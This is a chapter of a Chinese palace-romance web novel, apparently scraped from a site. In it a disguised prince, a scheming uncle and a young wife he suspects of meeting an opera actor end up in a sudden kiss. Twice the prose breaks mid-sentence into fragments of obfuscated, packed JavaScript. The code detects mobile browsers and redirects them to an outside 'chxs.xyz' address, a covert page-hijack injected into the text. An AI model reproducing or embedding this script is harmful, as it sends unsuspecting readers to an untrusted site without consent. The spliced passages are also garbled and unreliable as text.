随即，又叹口气，语气不无惋惜：“也是，你征战沙场数年，少年成名，建不世之功，太子却羸弱多病，连协助皇兄理政尚且费力，换做谁也不会甘心。可你们毕竟是亲手足，你须得体谅他，他身为储君，有你这样处处压他一头的兄弟，他焉能不感到威胁？” 顾清嘉显然不服气，冷嗤：“哼，既是手足，他既知道处处不如我，便该自动让位，储君之位本来就该能者居之。” “你！哎，清嘉，你这满腹牢骚，在王叔这里私下说说便罢了，切莫让旁人知道你有忤逆之心，否则，太子梗容不得你，你明知你父皇偏心他些。”宁王看到他们兄弟相争，不知多快意，面上却不动声色，一副慈蔼姿态劝慰着，“你性子急，冲动易怒，又嗜杀，难怪你父皇要屡番将你禁足，命你抄写经文，收敛性情。” “王叔也觉得，都是我的错？”顾清嘉不可置信地望着宁王，像是被信赖的长辈背叛，眼中满是伤心。 握得发颤的拳，又透出他满满的不甘。 “你没错，可太祖时期便定下规矩，大晋历朝太子，只能是嫡长子，谁让他身份上占尽好处呢。”宁王语气里有种隐晦的怅然。 顾清嘉听着，心内暗哂，他倒要看看，王叔的狐狸尾巴还能藏多久。 “规矩，又是规矩，同是母后所生，凭什么他顾清晏能做储君，能娶王氏之女，我却拼死拼活全是为他做嫁衣，还只能娶卑贱的小官之女做正妃？！”顾清嘉眼睛忍得猩红，透着狠戾，“王叔，你甘心，我却不愿意。待我明年金殿传胪，打他个措手不及，让父皇看到我才是文武全才，定会重新权衡，是把江山交给那个治不好的病秧子，还是交给我。” “你不要命了？小声些！”宁王似是担心他，待自己亲儿子一般轻斥。 他思忖片刻，终是叹道：“罢了，若有一日，你父皇会重新抉择，王叔向着你就是。大晋江山乃太祖趟过尸山血海打下来的，我自然希望千年万年固若金汤。” “谢宁王叔！”顾清嘉紧绷的神情放松下来，难得露出一丝笑，感激地朝宁王拱手。 宁王将他手背压下，故意板起脸：“别着急谢我，我还有正事没问你呢。你与那位许小姐是怎么回事？她父亲只是个小小的县丞，连进士都不是，家世根本配不上你，你怎么会稀里糊涂与那许小姐成亲？于忠查过，说是许小姐在公堂上拿出信物，说你与他自幼定亲，我怎么不记得皇嫂给你定过亲？若定过，又怎会大张旗鼓择选？” 他话未说完，便见顾清嘉的脸色一寸寸阴沉下来。 “什么许小姐，分明是个胡搅蛮缠的野丫头，若非不想暴露身份，让父皇母后知道我在此地，我早揭了她的皮做灯笼！”顾清嘉咬牙切齿，眼中划过一丝阴狠，“离开清江县前，不消了这奇耻大辱，我就不姓顾。” 嗯，他如今姓贾。 他恨恨的情绪，似狼毫笔上饱蘸的浓墨，沉郁到几乎遮天蔽日。 宁王早知他自恃身份，瞧不上身份低微的民间女子。 见他如此，宁王摩挲着袖口精美的金线绣纹，悄然弯唇。 孟茴，若你知道你宝贝女儿的处境，愿意怎样跪下来求我呢？ 宁王正陷入思绪，忽而见顾清嘉将一枚断作两半的玉璧，递至他面前。 乍一看，宁王只觉莫名眼熟，没想起来。 直到顾清嘉与他说着话，将其中一块残玉翻转过来，露出雕刻的“辰”字。 “王叔，这便是那野丫头拿来扯谎的所谓信物，婚约自然是假，可说来奇怪，这样的玉璧，我小时候似乎在皇祖父那里见到过差不多的，依稀记得，皇祖父那里有十一枚，各刻着十二时辰里的一个字。” “您瞧，这玉璧上就刻着个辰字。”顾清嘉盯着玉璧，状似随意将玉璧翻转过来，随即自然抬眸，疑惑问，“王叔，您见过这样的玉璧吗？这跟皇祖父那里的玉璧是不是一套？是不是皇祖父何时弄丢，不小心流落民间的？” 更多关于儿时的记忆，瞬间涌入脑海，宁王抬手，极珍视地拿指腹触了触那玉璧，嗓音有些异样的喑哑：“不是，当年你皇祖父把玉璧赏给十二太保时，还没有你呢，也难怪你不认得。” “十二太保？”顾清嘉确实没听人说起过。 许是皇祖父下过禁令，无人敢再提起，时间一长，知道旧事的人老去，便彻底被遗忘在时间的罅隙。 “嗯，十二太保本是开国功臣，外邦献上美玉，你皇祖父便命人将美玉制成十三件玉器，一件便是传国玉玺，其余十二小件，便是十二枚玉璧，你手里这块，唤作辰云，被赐给太保孟云。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14001353|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “后来呢？为何独这一块玉璧流落民间？”顾清嘉扶额想想，“那野丫头的生母和舅舅确实姓孟。” 听他说到许菱玉的生母时，宁王眼神漾起一分不寻常的涟漪。 只是顾清嘉从未想过宁王与孟茴会有任何瓜葛，便没在意。 想到孟茴，想到他们曾失散多年，他无意中与她重逢，孟茴却把他全然忘了，宁愿委身于忠这样微贱的侍卫，也不肯顺从他，宁王心中百年生起酸楚恨意。 “后来，十二太保因争权夺势，互相残杀，甚至想弑杀你皇祖父，取而代之。幸好你皇祖父先下手为强，十一位太保陨灭，玉璧收回，可惜跑了最阴险狡猾的孟云。”宁王望着顾清嘉，语气如常，眼神却少见地含着恨意，“清嘉，若许小姐的外公便是当年的孟云，你定要完成你皇祖父未完成的事，千万别放过孟家任何一个。” 他希望顾清嘉好好折磨许菱玉，最好将他这么多年在孟茴身上尝到的苦痛，尽数加注在许菱玉身上。 许菱玉不过是孟茴与许淳那穷酸县丞生下的孽种罢了，若非当年孟云执意携家眷大隐于市，孟茴本该是他的女人。 从宁王府出来时，天色将暗。 顾清嘉对着夕阳，细细端量他花了近一个时辰才修补好的玉璧，欣慰浅笑。 虽惫懒了些时日，他的手艺到底没荒废。 他自幼喜好不算多，金石算得一样，且小有所成。 只是不知，许菱玉会不会满意？ 宁王说的话，他并不尽信。 顾清嘉想不到宁王骗他的理由，但他更相信自己的直觉判断。 幼时皇祖父那落寞的背影，似乎带着思念，但绝没有恨意。 其余十一太保如何，他无从知晓，但许菱玉的外公孟云，应当不是宁王口中的逆臣。 哦，他得寻个机会，问问许菱玉她外公名讳。 快马回到清江县，天色已晚，路上行人不多，夜市一带倒是热闹，不冷不热的春风里，飘散着各样小食混杂的香气。 赶了一两个时辰路，顾清嘉有些饿了，这会子回去，以他穷秀才的身份，总不好劳烦芹姨再备宵食。 “长缨，带马去喂草料，待会儿来夜市。”顾清嘉将马缰递给长缨，交待一声，举步往河边热闹的地带走去。 签子肉烤得滋滋作响，香气四溢，摊位前围着许多食客，催促摊贩快些。 摊贩抓着肩头棉巾摸一把脸上的汗，冲身旁同样忙碌的婆娘道：“炉子不够用啊，我先看着，你去瞧瞧许娘子那边吃好了没有？若好了，就把那炉子收回来，快去快回啊，这么多人等着呢！” “诶！”缠着灰蓝色包头巾的妇人应声，折身往瓦肆靠河的一边走。 “炉子被许娘子借去了？她借炉子做什么？”有食客好奇问。 摊主红光满面笑应：“我原也不知道，来的是她家婢女，给钱大方，就借了。听先头的客人说的，说是许娘子在河边宴客呢。” “宴什么客？”有人掩唇失笑，接过话头，“我和我们当家的刚从河边过来，瞧见许娘子同一位相貌俊朗的郎君在风亭私会呢，有说有笑的。” “什么俊朗郎君？是她家夫君吧，听说生得高大俊朗，风度翩翩，就是出身差些。” “不是，许娘子家秀才郎我见过。”那人笑得意味不明，状似压低声音，却又怕人听不见，“我瞧着，像是戏班子里姓杨的武生，谁不知道许娘子出嫁前就常捧他的场？” “刚成亲就不安分？许娘子也不像那样水性杨花的人啊，你是不是看错了？” “啧，人不可貌相。” 那些人已付了铜板，等摊主给他们烤好的签子肉，便是好奇，也只得等着，不能立时赶去河边验证。 顾清嘉回过神来时，人已在河边，与捧着小炉的妇人错身而过。 他站在墙角切出的暗处，望着不远处风亭里言笑晏晏的许菱玉，以及她对首姿仪英朗的青年男子，齿痕莫名发痒。 27. 凑近 河边垂柳依依，暗流涌动的河面上倒映着一排灯笼光。 暖黄光晕随波浮动，似皎月沉水。 风亭古朴，翘角飞檐被柳枝挡去小半。 许菱玉就坐在那亭中柳荫里，姿态娇俏烂漫。 “你可别骗我，我胆子大，真敢试的。”许菱玉望着石桌对面的男子，语气熟稔，笑意嫣然。 即便看不清她眼神，顾清嘉也能想象，她此刻喜悦的翦瞳必定似盈盈河水般，浮动着星月般的辉光。 成亲前，他便见过她这样的眼神。 那时候，这小老虎口出狂言，对他志在必得。 顾清嘉默默看在眼中，墨翠般的瞳仁愈加深邃，暗流涌动。 方才摊位前的食客说什么来着？哦，与许菱玉私会的男子，乃是戏班子里的武生。 顾清嘉目光往对方身上淡淡扫过，一身布衣，眉宇间不经意的卑微讨好，昭示着对方的身份。 原本以为，许菱玉就算不是看上他这个人，至少对他这副皮囊情有独钟。 他甚至想过，若许菱玉往后还像那晚一般，想要与他亲近，他该怎样回应她，才既像个正常夫君，又不过于亲密，还不让她起疑。 如今看来，倒是他多虑了。 许菱玉根本不止喜欢他一个，性情温和，品貌出众的郎君，都可能入她的眼。 亭中那武生，便是其中之一。 她选了他做夫君，只不过是囿于大晋律法，她只能择其一罢了。 “我胆子大，真敢试的。”她的笑语萦绕耳畔，震得他额角青筋直跳。 她想试什么？ 试试家里一个他，外头偷偷养着这俊朗武生？ 还是，想与这武生试试，话本子里的那段描述？ 白日里，公堂上，他那般护着她，她倒是没心没肺得很，丝毫不受许淳等人影响，日子过得逍遥快活。 换做旁的女子，定不敢行如此离经叛道之举。 可她是许菱玉，敢编造婚约，强嫁“心仪”郎君的许菱玉，顾清嘉深信，没什么是她不敢的。 掉头就走，彼此留些颜面，回去假装什么也不知道？ 嗬，即便他假扮的是书生，也是有骨气的书生，他可不会在这样的事上当什么大度原配，受气小媳妇。 “阿玉。”顾清嘉一手负于身后，长指暗暗攥成拳，克制着，状似从容朝风亭走去。 他并未问亭中男子是谁，只是瞥一眼，眼中露出些许惊愕，等着许菱玉向他解释，他倒要看看许菱玉作何解释。 熟悉的声音传来，许菱玉一时没反应过来，以为是自己今日想起秀才的次数太多，出现了幻觉。 可她听到了脚步踩断树枝的声音，感受到周遭光影的细微变化。 杨柯侧首，见一位书生打扮的男子朝他们走来，眉目英隽，气度高华，如鹤步闲庭。 “小姐。”金钿惊呼，语气焦急。 许菱玉察觉到他们的异样，猛然侧眸，盈盈美目刹那间溢出璀璨的惊喜。 “秀才，你怎么来了？”许菱玉捉裙跳起来，因起身太快，腰肢不小心磕着石桌边缘，骤然的痛意令她连连吸气。 杨柯想说什么，未及开口，便见顾清嘉展臂，将大掌覆在许菱玉捂住侧腰的手背上，隔开冷硬石桌。 而他也像石桌一般，显得多余。 “可伤着了？”顾清嘉语气关切，又透出些歉意，“我来接你回家，没想到反而害你受伤。” 许菱玉已缓过劲来，痛意没那般强烈，她冲秀才摇摇头：“其实没那么严重。” 说话间，她松开捂在腰侧的手，欢喜地抓住他衣袖：“你何时回来的？怎会知道我在这里？” 哎呀，她真傻，他定是先回去过，问了芹姨才出来寻她的呀。 诶？可是她似乎只让人告诉芹姨，不必留她和金钿的晚膳，没说人在这里啊。 莫非，她与秀才之间，冥冥中有着与旁人不同的缘分，才会有此默契，叫秀才走到这里来？ 一念生，许菱玉心中腾起丝丝甜蜜。 金钿早已急得不行，小姐啊，这是重点吗？您还不赶紧解释解释与杨公子的关系？！ 大抵是主仆间的默契，许菱玉后知后觉想起，亭中还有个被冷落的杨柯。 不等顾清嘉回应，她扭头望向已起身的杨柯，大大方方引荐：“这位是杨柯杨公子，戏班里最好的短打武生，也是我最喜欢的武生。” “喜欢”二字，听得顾清嘉与杨柯眼皮俱是一跳。 “许娘子过誉，杨某愧不敢当。”杨柯说着，朝顾清嘉拱手见礼，将所有真实情绪敛起。 顾清嘉轻嗯一声，算是还礼。 随即，一手将掌心扶在许菱玉疑似受伤的腰侧，另一条手臂自然地绕过她脊背，揽在她肩头，温声道：“娘子，我们回家吧，好看看你的伤势如何。” 杨柯听着，眉心微动，夫君为娘子验看伤势，乃是天经地义的事，也是极为亲密的举动。 贾秀才既然如此说，便是不避讳与许娘子亲近，可先前许娘子描述的他，又并非如此。 许娘子找他解惑，自然没必要对他撒谎。 双方客气告辞，杨柯凝着他们相携而去的背影，思绪忽而豁然开朗。 贾秀才对他的存在，表现得漫不经心，实则，极为在意吧？ 若许娘子也瞧出来，她以为的所有难题，便都迎刃而解了。 可惜，许菱玉根本没看出来。 走出一段，遇上正在人群里四下张望的长缨。 顾清嘉吩咐他去租辆马车，在街市外开阔的地方等着。 他自己则扶着许菱玉，慢慢走在街市上。 金钿为不打扰他们说话，与许菱玉说一声，便快步追上长缨。 长缨摸不着头脑，等拉开些距离，才忍不住问金钿：“都这时辰了，你和少奶奶怎的还没回去，还与公子遇上了，真是巧。” 巧？谁说不是呢，巧得让人想哭。 金钿这会子笑得比哭还难看：“哎呀，主子们的事，你别多问。” 长缨茫然，他问什么不该问的了？ 人群里，顾清嘉扶着许菱玉，时而侧身或是展臂，挡开拥挤的路人，以免挤到许菱玉，伤势加重。 许菱玉看在眼中，眼瞳浸润在脉脉欢喜中。 当贾秀才再度侧身，护她周全，许菱玉蓦然忆起今日公堂上的一幕。 可现下人多，不便说私房话，她抿抿唇，忍下了。 坐进马车，顾清嘉才发现，许菱玉手里一直拿着一只怪面具。 “这是什么？”他目光落在她裙面上。 许菱玉正想说白日的事，被他问得一愣：“啊？” 她低头一看，手里还抓着武生面具。 “你说这个？”她拿起来，递到顾清嘉面前，“杨柯送的，说是送我的新婚贺礼，还是他亲手画的，你瞧，是不是很生动有趣？” 她毫不避讳地将面具展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14014561|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示给他看，眼神清澈，光明磊落。 顾清嘉反倒疑惑了。 许菱玉若是与那武生有什么，到底是有多轻贱他，才会当着他的面，毫不迟疑地夸赞那人？ 她或许离经叛道些，可顾清嘉隐隐觉得，她不是会无缘无故践踏旁人的性子。 她待芹姨、金钿，甚至长缨，都很好，没道理轻贱他。 “画得不错。”顾清嘉接过面具，轻赞。 可不知怎的，他心里仍隐隐不适，他并不希望许菱玉珍藏这张面具。 “既是新婚贺礼，便不是送你一人的，且这面具也不适合女子戴，阿玉送我如何？”顾清嘉将面具扣在脸上，拭了拭。 许菱玉不得不承认，他说得很有道理。 “那边送你吧。今日公堂上，你那般护着我，我本就该送你些什么，表达谢意的。”许菱玉顺口道。 可说完她便后悔不跌，多好的与秀才拉近关系的借口啊，她怎么就这样浪费了？！ 嘴上说谢他，却是借花献佛，拿旁人的东西敷衍他。 秀才会不会以为，她只是嘴上客气啊？ 顾清嘉也后悔，早知她还惦记着白日的事，想要谢他，他岂会收这劳什子做谢礼？ 这会子，面具抓在手里，收也不是，丢也不是。 顾清嘉将面具攥紧了些，温声问：“你与那杨公子认识多久了？很熟吗？” “若我说，今日之前，只见过他在台上的扮相，你觉着我们熟吗？”许菱玉说着，自顾自摇摇头，“根本不熟啊，所以他送这面具时，我还很诧异，没想到他这般重礼数。你们这些男子，有时真让人捉摸不透。” 许菱玉姣好的芙蓉面上，露出困惑神色。 她捉摸不透，顾清嘉却品出些异样滋味。 看来他先前想岔了，许菱玉待那位杨公子，根本不是他想象中的倾慕。 但那位杨公子对许菱玉，只怕别有用心。 再看看手中面具，顾清嘉很庆幸，自己将这面具抢了来。 至于杨柯的心思，他不会提醒许菱玉分毫。 “什么叫我们这些男子，连我也是么？”顾清嘉将面具放到身侧，浅笑问。 当然是了，否则她今晚问杨柯那么多问题做什么？ 那些疑问，她差不多已找到解决的方法，不必再告诉秀才。 再说，她本就是要拿下秀才的，怎好意思告诉他？！ “不告诉你。”许菱玉腰肢一扭，侧过身，神神秘秘又得意。 可刚扭过去，牵扯到侧腰，她忽而哎哟一声捂住痛处。 “你呀。”顾清嘉无奈摇头。 他躬身，想坐到许菱玉身侧，好扶住她。 哪知，车轮碾过一块凸起的青石，狠狠颠簸一下，顾清嘉身形猛地一晃。 他弓着身形，一手撑在许菱玉身侧的车壁上，一手握住许菱玉手臂，替她稳住身形。 许菱玉也惊着了，下意识揪住他衣襟。 须臾，马车平稳下来。 许菱玉抬眸，撞进那双墨翠般漆邃的眼，惊觉他们离得如此之近。 蓦地，今夜风亭中让她受用的对话，在脑海中疯狂涌动。 机不可失，时不再来。 许菱玉未加思索，不想退路，凭着一腔本能的冲动，忽而倾身，凑近顾清嘉。 柔软唇瓣猝然贴上顾清嘉轻抿的薄唇。 顾清嘉瞳孔骤缩，不可置信地盯着近在咫尺的轻狂少女。